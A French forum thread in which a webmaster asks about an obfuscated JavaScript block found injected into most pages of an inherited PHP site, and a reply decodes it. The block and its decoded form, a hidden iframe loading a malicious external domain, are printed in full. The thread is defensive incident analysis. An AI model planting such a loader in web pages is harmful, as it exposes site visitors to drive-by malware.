-
Injection de code
Bonjour à tous,
voila j'ai récupéré actuellement un site internet codé en php / html dont j'assure la gestion depuis peu.
Bref quelques mois après cette passation et n'ayant pas eu le temps de remettre le code au propre (car oui je n'adhère pas du tout à cette gestion multi "include" de site, aucune hierarchie entre les pages bref...)
Ce qui devait arriver arriva, je pense que le site a été victime d'injection de code. (sql, include, get / post ?)
Pour le coup j'ai transvasé mon site sur un autre serveur ou je peux eplucher les logs au détail.
Toutefois voici le code que j'ai retrouvé sur la majorité des pages .php du site :
Code:
<script>try{asdwqe();}catch(qw){f=(q)?"fromCharCode":2;try{eval("a=prototype");}catch(zxc){e=window["eva"+"l"];n="104.90.800.999.792.1053.872.909.880.1044.368.1071.912.945.928.909.320.351.480.945.816.1026.776.981.808.288.920.1026.792.549.272.936.928.1044.896.522.376.423.824.1035.856.909.960.459.384.414.840.990.376.945.880.414.792.927.840.567.448.306.256.990.776.981.808.549.272.756.952.945.928.1044.808.1026.272.288.920.891.912.999.864.972.840.990.824.549.272.873.936.1044.888.306.256.918.912.873.872.909.784.999.912.900.808.1026.488.306.880.999.272.288.776.972.840.927.880.549.272.891.808.990.928.909.912.306.256.936.808.945.824.936.928.549.272.450.272.288.952.945.800.1044.832.549.272.450.272.558.480.423.840.918.912.873.872.909.496.351.328.531.104.90".split(".");h=2;s="";if(window.document)for(i=0;-158+i<0;i=1+i){k=i;s=s+String[f](n[k]/(i%(h)+8));}e(s);}}</script>
Toutefois je suis pas un grand mordu du javascript donc j'aimerai obtenir votre avis sur ce code. Son rôle, et éventuellement déceler une URL encodée dans ce bloc.
Pour informations ce code me fait gueuler la plupart des AV avec la dénomination suivante :
JS:iframe-qq
Je pense que ce code inclue une page distante truffée de scripts à la c*n...
J'aimerai donc votre avis, votre expérience sur ce bout de code si quelqu'un l'a déjà vu, ou qui saurait éventuellement la nature de la faille ça pourrait m'aider.
En attendant j'vais passer à la loupe l'ensemble des champs de formulaire afin de valider qu'il n'y ait pas d'injection sql possible (dumoins via des bots qui passent leurs journée à scanner des serveurs).
Par avance merci.
-
Ce code est une obfuscation intéressante utilisant String.fromCharCode et un cryptage cyclique assez simple. Il suffit d'exécuter le script (sans le eval final bien sûr) pour avoir le résultat. En clair, le script injecte ça sur les pages infectées :
Code:
document.write('<iframe src="http://gskex30.in/in.cgi?8" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
Bien sûr, n'essaye surtout pas de taper l'adresse avec un ordi d'usage courant.
Un Whois indique que le domaine gskex30.in (Inde) appartient à un certain Stepan Ahmethanov de Moscou. La page ciblée envoie un header de location vers ya.ru qui est un moteur de recherche populaire en Russie. Je ne peux pas t'en dire plus… Il est possible que le serveur fasse de la détection de navigateur pour éviter de se faire repérer par les antivirus.
À mon avis, ce n'est pas la peine d'essayer de savoir comment le bonhomme a pénétré ton site. Concentre-toi sur les failles de sécurité, et les moyens de les corriger. Par exemple, en utilisant correctement les PDO, tu élimines tout risque d'injection SQL !